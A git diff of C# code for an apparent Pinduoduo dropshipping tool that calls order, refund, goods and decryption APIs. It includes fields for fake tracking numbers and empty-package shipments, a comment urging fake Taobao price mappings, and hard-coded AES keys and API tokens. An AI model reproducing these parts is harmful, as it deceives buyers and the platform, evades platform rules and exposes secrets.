SkuImg; + } + #endregion + + + #region 根据上家id获取商品url + public static string GetJumpUrl(int siteId, long pid) + { + string url = ""; + if (siteId == 1) + { + if (!BaseClass.PhonePay) + { + url = "https://item.taobao.com/item.htm?id=" + pid;//电脑详情 + //url = "http://taoke.qixiaoker.com/first.php?product_id=" + pid; + + string data = UserLogin.GetSignaturex() + ""; + string urlx = BaseClass.BuildObjString("taobaoke&tid=" + pid); + string html = GetHtml.PostUtf8(urlx, data); + if (string.IsNullOrEmpty(html)) + { + //Thread.Sleep(3000); + //data = UserLogin.GetSignaturex(); + //urlx = BaseClass.BuildObjString("taobaoke&tid=" + pid); + //html = GetHtml.PostUtf8(urlx, data); + } + long id = BaseRegex.GetLongJson(ref html, "id"); + if (id == pid) + { + string coupon_url = BaseRegex.GetStringJson(ref html, "coupon_url"); + if (!string.IsNullOrEmpty(coupon_url)) + { + url = coupon_url; + } + if (string.IsNullOrEmpty(coupon_url)) + { + string urltemp = BaseRegex.GetStringJson(ref html, "url"); + if (!string.IsNullOrEmpty(urltemp)) + { + url = urltemp.Replace("\\", ""); + } + } + + } + + + } + else + { + url = "https://h5.m.taobao.com/awp/core/detail.htm?id=" + pid;//手机详情 + } + } + if (siteId == 2) + { + url = BaseClass.LoginApiUrl + "?obj=upshopid/pinduoduo_click&act=jump&id=" + pid; + if (!string.IsNullOrEmpty(BaseClass.JinBaoJump)) + url = BaseClass.LoginApiUrl + "?obj=upshopid/jump_to&act=" + BaseClass.JinBaoJump + "&id=" + pid; + } + if (siteId == 3) + url = "https://detail.1688.com/offer/" + pid + ".html"; + return url; + } + #endregion + + public class PayGroupOrderBase + { + public string order_id = ""; + public string order_id_buy = ""; + public string name = ""; + public string shopRealname = ""; + public string mobile = ""; + public string address = ""; + public string note = ""; + public string sku = ""; + public string skuImg = ""; + public string group_id = ""; + public decimal price = 0; + public string product_id = ""; + public string title = ""; + public string shop_id = ""; + public string shop_name = ""; + public string service_id = ""; + public string service_name = ""; + public string status = ""; + public string lose_time = ""; + public string create_time = "";//订单确认时间 + public string promise_time = "";//承诺发货时间 + public bool can_pay = false; + public string get_up_express_time = ""; + public string express_name = ""; + public string express_id = ""; + public string express_no = ""; + public string up_product_id = ""; + public string up_product_idTemp = "";//编辑时的总店Id1 + public string up_product_idTemp_two = "";//编辑时的总店Id2 + public string up_product_idTemp_three = "";//编辑时的总店Id3 + public string up_product_idTemp_four = "";//编辑时的总店Id4 + public string up_product_idTemp_five = "";//编辑时的总店Id5 + public int chooseUpPro = 0;//选择的上家Id + public string extensionUrl = "";//推广的url + public string buy_sku = ""; + + //买手号拍单时的姓名,地址,电话 + public string buy_nickname = ""; + public string buy_address = ""; + public string buy_mobile = ""; + + public string pay_mobile = "";//付款账户 + public decimal buy_price = 0; + public int buy_type = 1; + public int buy_count = 1; + + public string express_id_false = "";//假物流Id + public string express_name_false = "";//假物流公司 + public string express_no_false = "";//假物流单号 + + public string service_Remark = "";//客服备注 + + public string isRedColorBack = "";//是否红色背景标识 + public string isDelete = "";//是否删除标识 + public string buy_time = "";//拼单|拍单时间 + public string logistics = "";//空包物流公司名称 + public string empty_id = "";//空包物流单号 + public string message_status = "";//空包留言状态 + public string tracking_number_realtime = "";//订单实时物流 + public string shipping_time = "";//发货时间 + + public decimal commission;//多多进宝拥挤 + public bool packovertime = false;//是否揽件超时 + public bool sendovertime = false;//是否发货超时 + public int is_decode_status = 0;//是否已解密 1已解密 + } + } +} diff --git a/Work/Pinduoduo/DataOpenSSL.cs b/Work/Pinduoduo/DataOpenSSL.cs new file mode 100644 index 0000000..ecd8eba --- /dev/null +++ b/Work/Pinduoduo/DataOpenSSL.cs @@ -0,0 +1,158 @@ +using AllBase; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; + +namespace Work.Pinduoduo +{ + public class DataOpenSSL + { + public static byte[] key = new byte[32] { 145, 232, 156, 201, 201, 0, 42, 184, 222, 111, 109, 49, 226, 169, 9, 44, 151, 148, 143, 120, 62, 84, 30, 170, 127, 242, 20, 141, 231, 33, 230, 6 }; + public static byte[] iv = new byte[16] { 113, 6, 75, 177, 160, 112, 73, 39, 178, 147, 82, 107, 186, 58, 144, 187 }; + + /// + /// 加密 + /// + /// + /// + public static string EncryptString(string plainText) + { + try + { + // Instantiate a new Aes object to perform string symmetric encryption + Aes encryptor = Aes.Create(); + + encryptor.Mode = CipherMode.CBC; + + // Set key and IV + byte[] aesKey = new byte[32]; + Array.Copy(key, 0, aesKey, 0, 32); + encryptor.Key = aesKey; + encryptor.IV = iv; + + // Instantiate a new MemoryStream object to contain the encrypted bytes + MemoryStream memoryStream = new MemoryStream(); + + // Instantiate a new encryptor from our Aes object + ICryptoTransform aesEncryptor = encryptor.CreateEncryptor(); + + // Instantiate a new CryptoStream object to process the data and write it to the + // memory stream + CryptoStream cryptoStream = new CryptoStream(memoryStream, aesEncryptor, CryptoStreamMode.Write); + + // Convert the plainText string into a byte array + byte[] plainBytes = Encoding.UTF8.GetBytes(plainText); + + // Encrypt the input plaintext string + cryptoStream.Write(plainBytes, 0, plainBytes.Length); + + // Complete the encryption process + cryptoStream.FlushFinalBlock(); + + // Convert the encrypted data from a MemoryStream to a byte array + byte[] cipherBytes = memoryStream.ToArray(); + + // Close both the MemoryStream and the CryptoStream + memoryStream.Close(); + cryptoStream.Close(); + + // Convert the encrypted byte array to a base64 encoded string + string cipherText = Convert.ToBase64String(cipherBytes, 0, cipherBytes.Length); + + + cipherText = cipherText.Replace("+", "-").Replace("/", "_").Replace("=", ""); + + // Return the encrypted data as a string + return cipherText; + + } + catch (Exception) + { + + //throw; + } + return plainText; + } + + /// + /// 解密 + /// + /// + /// + public static string DecryptString(string cipherText) + { + cipherText = cipherText.Replace("-", "+").Replace("_", "/"); + var x1 = cipherText.Length % 4; + if (x1 > 0) + { + cipherText = cipherText + "====".Substring(x1); + } + // Instantiate a new Aes object to perform string symmetric encryption + Aes encryptor = Aes.Create(); + + encryptor.Mode = CipherMode.CBC; + + // Set key and IV + byte[] aesKey = new byte[32]; + Array.Copy(key, 0, aesKey, 0, 32); + encryptor.Key = aesKey; + encryptor.IV = iv; + + // Instantiate a new MemoryStream object to contain the encrypted bytes + MemoryStream memoryStream = new MemoryStream(); + + // Instantiate a new encryptor from our Aes object + ICryptoTransform aesDecryptor = encryptor.CreateDecryptor(); + + // Instantiate a new CryptoStream object to process the data and write it to the + // memory stream + CryptoStream cryptoStream = new CryptoStream(memoryStream, aesDecryptor, CryptoStreamMode.Write); + + // Will contain decrypted plaintext + string plainText = String.Empty; + + try + { + // Convert the ciphertext string into a byte array + byte[] cipherBytes = Convert.FromBase64String(cipherText); + + // Decrypt the input ciphertext string + cryptoStream.Write(cipherBytes, 0, cipherBytes.Length); + + // Complete the decryption process + cryptoStream.FlushFinalBlock(); + + // Convert the decrypted data from a MemoryStream to a byte array + byte[] plainBytes = memoryStream.ToArray(); + + // Convert the decrypted byte array to string + plainText = Encoding.UTF8.GetString(plainBytes, 0, plainBytes.Length); + } + catch (Exception) + { + + //throw; + } + finally + { + // Close both the MemoryStream and the CryptoStream + memoryStream.Close(); + cryptoStream.Close(); + } + + // Return the decrypted data as a string + return plainText; + } + + + + } + + + + +} diff --git a/Work/Pinduoduo/PddProductDetail.cs b/Work/Pinduoduo/PddProductDetail.cs new file mode 100644 index 0000000..b97d4ef --- /dev/null +++ b/Work/Pinduoduo/PddProductDetail.cs @@ -0,0 +1,118 @@ +using AllBase; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using Work.BaseForms; +using Work.Tips; + +namespace Work.Pinduoduo +{ + public class PddProductDetail + { + #region 通过代理ip获取商品详情 + public static string key = ""; + public static DateTime endTime = BaseClass.GetServerTimeString(); + + public static List GetProDetails(string id) + { + string url = ""; + string html = ""; + if (string.IsNullOrEmpty(key) || endTime <= BaseClass.GetServerTimeString()) + { + string data = UserLogin.GetSignaturex(); + url = BaseClass.BuildObjString("check_vcode&act=get_agent_ip"); + html = GetHtml.PostUtf8(url, data); + if (!html.Contains("\"code\":200")) + { + BaseMsgForm.ShowError("请求失败,请过几秒后再试!", "提示", FormLevel.SMALL); + return null; + } + key = BaseRegex.GetStringJson(ref html, "the_key_temp"); + var endTimeStr = BaseRegex.GetStringJson(ref html, "end_time"); + endTime = Convert.ToDateTime(endTimeStr); + } + + url = "http://goods.66daili.cn/api/goods/get/?orderid=" + DataOpenSSL.DecryptString(key) + "&token=5AF433ED506FA475&goodID=" + id; + html = GetHtml.PostUtf8(url, ""); + if (html.Contains("req too many")) + { + Thread.Sleep(3000); + html = GetHtml.PostUtf8(url, ""); + } + if (html.Contains("\"code\":408")) + { + BaseMsgForm.ShowError("请求频繁,请过几秒后再试!", "提示", FormLevel.SMALL); + return null; + } + html = GetHtml.UrlDecode(html); + return GetSkuArr(html); + } + #endregion + + public static List GetSkuArr(string html) + { + var skuArr = BaseRegex.GetMatchRegex(ref html, "\"sku_id\":[\\s\\S]+?attribute\":[\\S\\s]+?\""); + + List skuDetailList = new List(); + for (int i = 0; i < skuArr.Count; i++) + { + SkuDetail skuDetail = new SkuDetail(); + var skuItem = skuArr[i].Value; + string sku_id = BaseRegex.GetStringJson(ref skuItem, "sku_id"); + string thumb_url = BaseRegex.GetStringJson(ref skuItem, "thumb_url"); + decimal normal_price = BaseRegex.GetDecimalJson(ref skuItem, "normal_price"); + decimal group_price = BaseRegex.GetDecimalJson(ref skuItem, "group_price"); + var skuSpecArr = BaseRegex.GetMatchRegex(ref skuItem, "(\\{\"spec_key\":[\\s\\S]+?\"spec_value_id\":[\\s\\S]+?\\})"); + + skuDetail.sku_id = sku_id; + skuDetail.thumb_url = thumb_url; + skuDetail.normal_price = normal_price; + skuDetail.group_price = group_price; + + skuDetail.skuSpecs = new List(); + for (int j = 0; j < skuSpecArr.Count; j++) + { + SkuSpecs skuSpec = new SkuSpecs(); + var specItem = skuSpecArr[j].Value; + string spec_value = BaseRegex.GetStringJson(ref specItem, "spec_value"); + skuSpec.spec_value = spec_value; + skuSpec.spec_value = spec_value; + skuDetail.skuSpecs.Add(skuSpec); + } + + + skuDetailList.Add(skuDetail); + } + + + return skuDetailList; + } + } + + //public class ProductDetail + //{ + // public List skuDetail { get; set; } + //} + + + public class SkuDetail + { + public string sku_id { get; set; } + + public string thumb_url { get; set; } + + public List skuSpecs { get; set; } + + public decimal normal_price { get; set; } + + public decimal group_price { get; set; } + } + + public class SkuSpecs + { + public string spec_value { get; set; } + } +} diff --git a/Work/PinduoduoApiGetProduct.cs b/Work/PinduoduoApiGetProduct.cs new file mode 100644 index 0000000..6565ad5 --- /dev/null +++ b/Work/PinduoduoApiGetProduct.cs @@ -0,0 +1,1339 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using AllBase; +using System.Text.RegularExpressions; +using Work.Model; + +namespace Work.Api +{ + public class PinduoduoApiGetProduct + { + public ShopChatBase Shop; + public string Type; + public Dictionary Data = new Dictionary(); + public static Dictionary OutId = new Dictionary(); + public static Dictionary> Product = new Dictionary>(); + public Order_list order; + public Decrypt decData = new Decrypt(); + Dictionary> dataDecryptList = new Dictionary>(); + + Dictionary dataDecryptListx = new Dictionary(); + public bool IsGetListByApi = false; + public string orderId; + public DecType decType; + + public PinduoduoApiGetProduct(ShopChatBase shop) + { + Shop = shop; + } + public PinduoduoApiGetProduct(ShopChatBase shop, bool isGetListByApi) + { + Shop = shop; + IsGetListByApi = isGetListByApi; + } + public PinduoduoApiGetProduct(ShopChatBase shop, Order_list o) + { + Shop = shop; + order = o; + } + public PinduoduoApiGetProduct(ShopChatBase shop, Dictionary> dataDecList) + { + Shop = shop; + dataDecryptList = dataDecList; + } + public PinduoduoApiGetProduct(ShopChatBase shop, string order_Id, DecType type) + { + Shop = shop; + orderId = order_Id; + decType = type; + } + + public string GetRefund(DateTime begen, DateTime end, int page) + { + int start = BaseClass.GetTime(begen); + int after = BaseClass.GetTime(end); + Type = "pdd.refund.list.increment.get"; + Data = new Dictionary(); + Data.Add("after_sales_status", "1"); + Data.Add("after_sales_type", "1"); + Data.Add("start_updated_at", start.ToString()); + Data.Add("end_updated_at", after.ToString()); + Data.Add("page", page.ToString()); + Data.Add("page_size", "100"); + return GetData(); + } + + + /// + /// 获取订单详情 + /// + /// 状态:1:待发货,2:已发货待签收,3:已签收 5:全部 + /// 售后状态 1:无售后或售后关闭,2:售后处理中,3:退款中,4: 退款成功 5:全部 + /// + public string GetOrderList(int status, int refund_status, DateTime begen, DateTime end, int page) + { + int start = BaseClass.GetTime(begen); + int after = BaseClass.GetTime(end); + Type = "pdd.order.list.get"; + Data = new Dictionary(); + Data.Add("order_status", status.ToString()); + Data.Add("refund_status", refund_status.ToString()); + Data.Add("start_confirm_at", start.ToString()); + Data.Add("end_confirm_at", after.ToString()); + Data.Add("page", page.ToString()); + Data.Add("page_size", "100"); + return GetData(); + } + + /// + /// 获取订单详情--添加use_has_next + /// + /// 状态:1:待发货,2:已发货待签收,3:已签收 5:全部 + /// 售后状态 1:无售后或售后关闭,2:售后处理中,3:退款中,4: 退款成功 5:全部 + /// + public string GetOrderListx(int status, int refund_status, DateTime begen, DateTime end, int page) + { + int start = BaseClass.GetTime(begen); + int after = BaseClass.GetTime(end); + Type = "pdd.order.list.get"; + Data = new Dictionary(); + Data.Add("order_status", status.ToString()); + Data.Add("refund_status", refund_status.ToString()); + Data.Add("start_confirm_at", start.ToString()); + Data.Add("end_confirm_at", after.ToString()); + Data.Add("page", page.ToString()); + Data.Add("page_size", "100"); + Data.Add("use_has_next", "true"); + + return GetData(); + } + + public string GetOrderInfo(string oid) + { + Type = "pdd.order.information.get"; + Data = new Dictionary(); + Data.Add("order_sn", oid); + return GetData(); + } + + public string GetRefundList(int after_sales_status, int after_sales_type, DateTime end_updated, int page, int page_size, DateTime start_updated) + { + int end_updated_at = BaseClass.GetTime(end_updated); + int start_updated_at = BaseClass.GetTime(start_updated); + Type = "pdd.refund.list.increment.get"; + Data = new Dictionary(); + Data.Add("after_sales_status", after_sales_status.ToString()); + Data.Add("after_sales_type", after_sales_type.ToString()); + Data.Add("end_updated_at", end_updated_at.ToString()); + Data.Add("page", page.ToString()); + Data.Add("page_size", page_size.ToString()); + Data.Add("start_updated_at", start_updated_at.ToString()); + return GetData(); + } + + public string GetRefundInfo(string after_sales_id, string order_sn) + { + Type = "pdd.refund.information.get"; + Data = new Dictionary(); + if (!string.IsNullOrEmpty(after_sales_id)) + { + Data.Add("after_sales_id", after_sales_id); + } + Data.Add("order_sn", order_sn); + return GetData(); + } + + public string CheckVirtualNumber(string indentify_number, string order_sn, string virtual_number) + { + Type = "pdd.open.virtual.number.check"; + Data = new Dictionary(); + Data.Add("indentify_number", indentify_number); + Data.Add("order_sn", order_sn); + Data.Add("virtual_number", virtual_number); + return GetData(); + } + + public string ChannelReport(string order_sn) + { + string order = "['" + order_sn + "']"; + Type = "pdd.open.order.channel.report"; + Data = new Dictionary(); + int channel = 0;// (new Random().Next(0, 11)) < BaseClass.bili ? 2 : 1; + Data.Add("order_channel", channel.ToString()); + Data.Add("order_sn_list", order); + return GetData(); + } + + + + public string DecryptReceiverInfox() + { + if (dataDecryptList.Count == 0) + { + return ""; + } + decData.data_decrypt_list = dataDecryptList; + if (decData.data_decrypt_list == null) + { + decData.data_decrypt_list = new Dictionary>(); + } + if (decData.data_decrypt_list == null) + { + return ""; + } + decData.type = "pdd.open.decrypt.batch"; + + return GetDatax(); + } + + public string DecryptReceiverInfo(string order_sn, List encData,string types,string verifyAuthToken="") + { + //DecData decData = new DecData(); + //if (decData.data_list == null) + //{ + // decData.data_list = new List(); + //} + //for (int i = 0; i < encData.Count; i++) + //{ + // DecDataItem item = new DecDataItem(); + // item.data_tag = order_sn; + // item.encrypted_data = encData[i]; + // decData.data_list.Add(item); + //} + + //Data.Add("data_list", JsonHelper.SerializeObject(decData.data_list)); + return GetDecryptData(types, order_sn, verifyAuthToken); + } + public string GetDecryptData(string types,string order_sn,string verifyAuthToken) + { + try + { + string token = Shop == null ? "" : !string.IsNullOrEmpty(Shop.AccessTokenOrder) ? Shop.AccessTokenOrder : Shop.AccessToken; + string refresh = Shop == null ? "" : !string.IsNullOrEmpty(Shop.RefreshTokenOrder) ? Shop.RefreshTokenOrder : Shop.RefreshToken; + string clientId = Shop.ClientId; + if (Data == null) + Data = new Dictionary(); + DateTime dateTime = BaseClass.GetServerTimeString(); //DateTime.Now; + Data.Add("type", Type); + Data.Add("data_type", "JSON"); + Data.Add("timestamp", BaseClass.GetTime(dateTime).ToString()); + Data.Add("client_id", clientId); + if (!string.IsNullOrEmpty(token)) + Data.Add("access_token", token); + StringBuilder code = new StringBuilder(); + Dictionary nd = Data.OrderBy(d => d.Key).ToDictionary(p => p.Key, o => o.Value); + foreach (KeyValuePair key in nd) + { + code.Append(key.Key + key.Value); + } + string html = ""; + //if (PinduoduoAuth.GateServerUrlDic.ContainsKey(clientId)) + //{ + // int time = BaseClass.ConvertDateTimeInt(dateTime) + BaseClass.TimeDifferent; + // string time1 = UserLogin.Encryption(time); + // Data.Add("encCode", time1); + // if (BaseClass.NewSignatureAuth) + // { + // Data.Add("NbCodeVersion", "v1"); + // } + // string json = JsonHelper.SerializeObject(Data); + // string data = "¶ms=" + json + "&order_sn=" + order_sn; + // //if (!PinduoduoAuth.GateServerUrlDic.ContainsKey(clientId)) + // //{ + // // return ""; + // //} + + // string geturl = ""; + // foreach (KeyValuePair item in BaseClass.serverDic) + // { + // if (item.Key == clientId) + // { + // geturl = item.Value; + // break; + // } + + // } + // string redirect_url = "http://33.kanwailian.com//risk/control/callback"; + // string htmls = new PinduoduoApiGetProduct(Shop).GetPageCode(redirect_url); + // string pageCode = BaseRegex.GetStringJson(ref htmls, "pageCode"); + + // //switch (types) + // //{ + // // case "receiverName": + // // html = GetHtml.decryptPostUtf8(geturl+"pdd/control/decrypt/v1/receiverName" , data, verifyAuthToken, pageCode); + // // break; + // // case "receiverPhone": + // // html = GetHtml.decryptPostUtf8(geturl + "pdd/control/decrypt/v1/receiverPhone", data, verifyAuthToken, pageCode); + // // break; + // // case "address": + // // html = GetHtml.decryptPostUtf8(geturl + "pdd/control/decrypt/v1/address", data, verifyAuthToken, pageCode); + // // break; + // //} + //} + //else + //{ + // if (PinduoduoAuth.GateServerUrlDicNoRds.ContainsKey(clientId)) + // { + // html = GetServerInfoNoRds(dateTime, clientId); + // } + //} + html = GetHtml.Decode(html); + return html; + } + catch + { + return ""; + } + } + + + + public void GetProductList() + { + string shopName = Shop == null ? BaseClass.ShopName : Shop.ShopName; + if (string.IsNullOrEmpty(shopName) || Product.ContainsKey(shopName) && Product[shopName].Count > 0) + return; + List pros = new List(); + try + { + Product.Add(shopName, pros); + } + catch + { + } + + Type = "pdd.goods.list.get"; + Data = new Dictionary(); + Data.Add("page", "1"); + Data.Add("is_onsale", "1"); + //Data.Add("page_size", "50"); + //Data.Add("outer_id", ""); + string html = GetData(); + int count = BaseRegex.GetIntJson(ref html, "total_count"); + int page = count / 100 + 1; + for (int i = 1; i <= page; i++) + { + Data = new Dictionary(); + Data.Add("page", i.ToString()); + Data.Add("is_onsale", "1"); + //Data.Add("page_size", "50"); + //Data.Add("outer_id", ""); + if (i > 1) + html = GetData(); + var m = BaseRegex.GetMatchRegex(ref html, @"\{""goods_id"":([\w\W]+?)\]\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + long id = BaseRegex.GetLongJson(ref list, "goods_id"); + var mm = BaseRegex.GetMatchRegex(ref list, @"""outer_goods_id"":""[\s]*([^""]+?)"""); + string outId = ""; + if (mm != null && mm.Count > 0) + outId = mm[mm.Count - 1].Groups[1].Value; + //if (string.IsNullOrEmpty(outId)) + // outId = BaseRegex.GetStringJson(ref list, ""); + if (!OutId.ContainsKey(id)) + { + try + { + OutId.Add(id, outId); + } + catch + { + } + } + ProductBase p = new ProductBase(); + p.Title = BaseRegex.GetStringJson(ref list, "goods_name"); + p.Id = id; + p.OuterId = outId; + if (!string.IsNullOrEmpty(outId)) + { + JumpUpProductNew ju = new JumpUpProductNew(); + ju.Shop = Shop; + ju.GetUrl(id.ToString()); + p.UpId = ju.UpId.ProductIdFrom; + } + pros.Add(p); + } + } + try + { + if (!Product.ContainsKey(shopName)) + Product.Add(shopName, pros); + else + Product[shopName] = pros; + } + catch + { + } + } + /// + /// 设置上下架 + /// + /// + /// + /// + public string SetOnline(long pid, bool online) + { + Type = "pdd.goods.sale.status.set"; + Data = new Dictionary(); + Data.Add("goods_id", pid.ToString()); + Data.Add("is_onsale", online ? "1" : "0"); + return GetData(); + } + /// + /// 设置库存 + /// + /// + /// + /// + public string SetSku(long sku_id, int quantity) + { + Type = "pdd.goods.sku.stock.update"; + Data = new Dictionary(); + Data.Add("sku_id", sku_id.ToString()); + Data.Add("quantity", quantity.ToString()); + return GetData(); + } + + public string GetProduct(long pid) + { + Type = "pdd.goods.detail.get"; + Data = new Dictionary(); + Data.Add("goods_id", pid.ToString()); + return GetData(); + } + + public string GetProductInfor(long pid) + { + Type = "pdd.goods.detail.get"; + Data = new Dictionary(); + Data.Add("goods_id", pid.ToString()); + return GetData(); + } + + /// + /// 添加商品 + /// + /// + public string Add() + { + Type = "pdd.goods.add"; + return GetData(); + } + public string Updata() + { + Type = "pdd.goods.information.update"; + return GetData(); + } + + public string GetRelation(string pid) + { + Type = "pdd.goods.get.relation"; + Data = new Dictionary(); + Data.Add("pdd_goods_id", "[" + pid.ToString() + "]"); + string html = GetData(); + return html; + } + + #region MyRegion + //public string GetDatax() + //{ + // string client_id = String.IsNullOrEmpty(Shop.ClientId) ? BaseClass.ClientId : Shop.ClientId; + // if (!BaseClass.UserApi) + // return ""; + // try + // { + // bool error = false; + // Agein: + // string token = Shop.AccessToken; + // string reflesh = Shop.RefreshToken; + // string sid = Shop == null ? BaseClass.ShopId : Shop.ShopId; + // if (Data == null) + // Data = new Dictionary(); + // if (Data.ContainsKey("type")) + // Data["type"] = Type; + // else + // Data.Add("type", Type); + // if (Type.Contains(".cps.") || Type.Contains(".coupon."))//进宝和优惠券 + // { + // client_id = "911bd1c0c0a0403da88334e24ca288a2";//蛮牛ERP + // //token = Shop.CpsShop.AccessToken; + // } + // if (!Data.ContainsKey("type")) + // Data.Add("data_type", "JSON"); + // if (Data.ContainsKey("timestamp")) + // Data["timestamp"] = BaseClass.GetTime(DateTime.Now).ToString(); + // else + // Data.Add("timestamp", BaseClass.GetTime(DateTime.Now).ToString()); + // if (Data.ContainsKey("client_id")) + // Data["client_id"] = client_id; + // else + // Data.Add("client_id", client_id); + // if (!string.IsNullOrEmpty(token)) + // { + // if (Data.ContainsKey("access_token")) + // Data["access_token"] = token; + // else + // Data.Add("access_token", token); + // } + // if (Data.ContainsKey("sign")) + // Data.Remove("sign"); + // string sign = ""; + // StringBuilder code = new StringBuilder(); + // Dictionary nd = Data.OrderBy(d => d.Key).ToDictionary(p => p.Key, o => o.Value); + // foreach (KeyValuePair key in nd) + // { + // code.Append(key.Key + key.Value); + // } + // sign = Md5Base.GetMd5(BaseClass.ApiKey + code + BaseClass.ApiKey).ToUpper(); + + // string url = BaseClass.BuildObjString("sign&act=get&type=" + Type + "&client_id=" + client_id); + // sign = GetHtml.PostUtf8(url, UserLogin.GetSignaturex(Shop.ShopId, Shop.ShopName) + "&hadid=1&signcode=" + GetHtml.UrlEncodeUtf8(code.ToString())); + // Data.Add("sign", sign); + // string json = JsonHelper.SerializeObject(Data); + // string html = GetPostTaobaoHtml.GetJsonPost(PinduoduoAuth.Gate, PinduoduoAuth.Gate, true, json); + // html = GetHtml.Decode(html); + // if (html.Contains("签名失败")) + // { + // //if (Shop.SignErrorTimes.ContainsKey(DateTime.Now.ToString("yyyy-MM-dd"))) + // //{ + // // Shop.SignErrorTimes[DateTime.Now.ToString("yyyy-MM-dd")] = Shop.SignErrorTimes[DateTime.Now.ToString("yyyy-MM-dd")] + 1; + // // if (Shop.SignErrorTimes[DateTime.Now.ToString("yyyy-MM-dd")] > 3) + // // html = "\"error_msg\":今日调用次数用完,明天再继续"; + // //} + // //else + // // Shop.SignErrorTimes.Add(DateTime.Now.ToString("yyyy-MM-dd"), 1); + // return html; + // } + // if (!string.IsNullOrEmpty(html) && html.Contains("access_token已过期")) + // { + // var a = new PinduoduoAuth(); + // if (a.ReFresh(reflesh, client_id)) + // { + // html = GetPostTaobaoHtml.GetJsonPost(PinduoduoAuth.Gate, PinduoduoAuth.Gate, true, json); + // html = GetHtml.Decode(html); + // } + // } + // if (!string.IsNullOrEmpty(html) && (html.Contains("access_token") || html.Contains("暂未签署多多进宝") || html.Contains("授权已被取消") || html.Contains("clientId不正确") || html.Contains("access_token")) && !error) + // { + // var a = new PinduoduoAuth(); + // a.NoCache = true; + // a.MustAuth = true; + // //a.IsCps = Type.Contains(".cps.") || Type.Contains(".coupon.");//进宝和优惠券 + // //a.Auth(Shop, ref client_id); + // error = true; + // Data.Remove("type"); + // Data.Remove("data_type"); + // Data.Remove("client_id"); + // Data.Remove("timestamp"); + // if (Data.ContainsKey("access_token")) + // Data.Remove("access_token"); + // Data.Remove("sign"); + // //if (!a.IsCps && Type != "pdd.goods.outer.cat.mapping.get") + // // Thread.Sleep(3000); + // goto Agein; + // } + // return html; + // } + // catch + // { + // return ""; + // } + //} + #endregion + + /// + /// 关联 + /// + /// + /// + /// 最低价 分 + /// 最高价 分 + /// 邮费 元 + /// 内部来源ID + /// + public string Relation(long pid, long fromId, int minPrice, int maxPrice, int postAge, int fromSite) + { + Type = "pdd.goods.relation.set"; + Data = new Dictionary(); + Data.Add("goods_id", pid.ToString()); + Data.Add("out_goods_id", fromId.ToString()); + //Data.Add("outer_detail_url", "1"); + Data.Add("out_low_goods_price", minPrice.ToString()); + Data.Add("out_high_goods_price", maxPrice.ToString()); + Data.Add("source_type", fromSite.ToString()); + Data.Add("postage", postAge.ToString()); + string html = GetData(); + return html; + } + + #region 编辑商品 + /// + /// 更新商品,然后设置关联映射(更新成功必须设置映射关系)。 + /// 拼多多要求所有的商品必须与淘宝商品ID关联,且拼多多每个SKU价格小于等于淘宝价格*1.08。 + /// 如果有以下情况:1.上家为拼多多商品、2.加价大于8%、3.单独有增加邮费,则去淘宝查找同款,获取单价大于当前加价后价格93%的 + /// 淘宝ID,然后把价格和淘宝ID通过接口影射修改商品接口。其他情况,使用拼多多查询之前的映射关系,再次映射。如果无法通过以上 + /// 办法获取映射,则想尽所有办法做一个正确的,甚至虚假的映射。 + /// + /// 关联参数类 + /// + public string UpdataThenRelation() + { + //Dictionary dataTemp = new Dictionary(); + //foreach (var keyValue in this.Data) + //{ + // dataTemp.Add(keyValue.Key, keyValue.Value); + //} + string upResult = string.Empty; + + #region 先判断是否有基本数据足以关联,不足直接退出 + //if (pddRelation == null) + // pddRelation = new PinduoduoRelation(); + //if (pddRelation.goods_id == null) + //{ + // if (dataTemp.ContainsKey("goods_id")) + // { + // try + // { + // pddRelation.goods_id = Convert.ToInt64(dataTemp["goods_id"]); + // } + // catch + // { + // //LogSave.Add(Name, "拼多多id获取失败,跳过"); + // return "拼多多id获取失败"; + // } + // } + // else + // { + // //LogSave.Add(Name, "拼多多id获取失败,跳过"); + // return "拼多多id获取失败"; + // } + //} + //if (pddRelation.out_low_goods_price == null || pddRelation.out_high_goods_price == null) + //{ + // pddRelation.out_low_goods_price = int.MaxValue; + // pddRelation.out_high_goods_price = 0; + // if (dataTemp.ContainsKey("sku_list")) + // { + // var skuJson = dataTemp["sku_list"]; + // var mPriceMatches = BaseRegex.GetMatchRegex(skuJson, "\"multi_price\":\"([\\s\\S]*?)\""); + // if (mPriceMatches.Count > 0) + // { + // foreach (Match mPriceMatch in mPriceMatches) + // { + // try + // { + // string strPrice = BaseRegex.GetMatchRegexString(mPriceMatch.ToString(), "\"multi_price\":\"([\\s\\S]*?)\""); + // long price = Convert.ToInt64(strPrice); + // if (price < pddRelation.out_low_goods_price) + // pddRelation.out_low_goods_price = price; + // if (price > pddRelation.out_high_goods_price) + // pddRelation.out_high_goods_price = price; + // } + // catch { } + // } + // pddRelation.out_low_goods_price = (long)(pddRelation.out_low_goods_price * 0.93); + // pddRelation.out_high_goods_price = (long)(pddRelation.out_high_goods_price * 0.93); + // } + // } + // if (pddRelation.out_low_goods_price == int.MaxValue) + // return "关联价格获取失败"; + //} + #endregion + + #region 获取其他关联数据 + + #region 通过接口获取关联数据 + //if (pddRelation.out_goods_id == null || pddRelation.source_type == null) + //{ + // string html = GetRelation(pddRelation.goods_id.ToString()); + // // 有获取到对应的上家id + // if (html.Contains("out_goods_id") && html.Contains("out_goods_platform")) + // { + // if (pddRelation.out_goods_id == null) + // pddRelation.out_goods_id = BaseRegex.GetLongJson(ref html, "out_goods_id").ToString(); + // if (pddRelation.source_type == null) + // pddRelation.source_type = BaseRegex.GetIntJson(ref html, "out_goods_platform"); + // } + // else + // { + // // 未获取到上家id的情况,随机淘宝id,临时使用 + // pddRelation.out_goods_id = "5" + Randomx.GetNumber(11); + // pddRelation.source_type = 0; + // } + //} + #endregion + + //if (pddRelation.postage == null) + // pddRelation.postage = 0; + #endregion + + #region 更新商品 + //this.Data = dataTemp; + upResult = this.Updata(); + // 调用失败直接返回结果,不设置关联 + //if (string.IsNullOrEmpty(upResult) || !upResult.Contains("\"is_success\":true")) + // return upResult; + #endregion + + #region 设置关联 + //try + //{ + // string html = this.Relation(pddRelation.goods_id.Value, long.Parse(pddRelation.out_goods_id), + // (int)pddRelation.out_low_goods_price.Value, (int)pddRelation.out_high_goods_price, + // 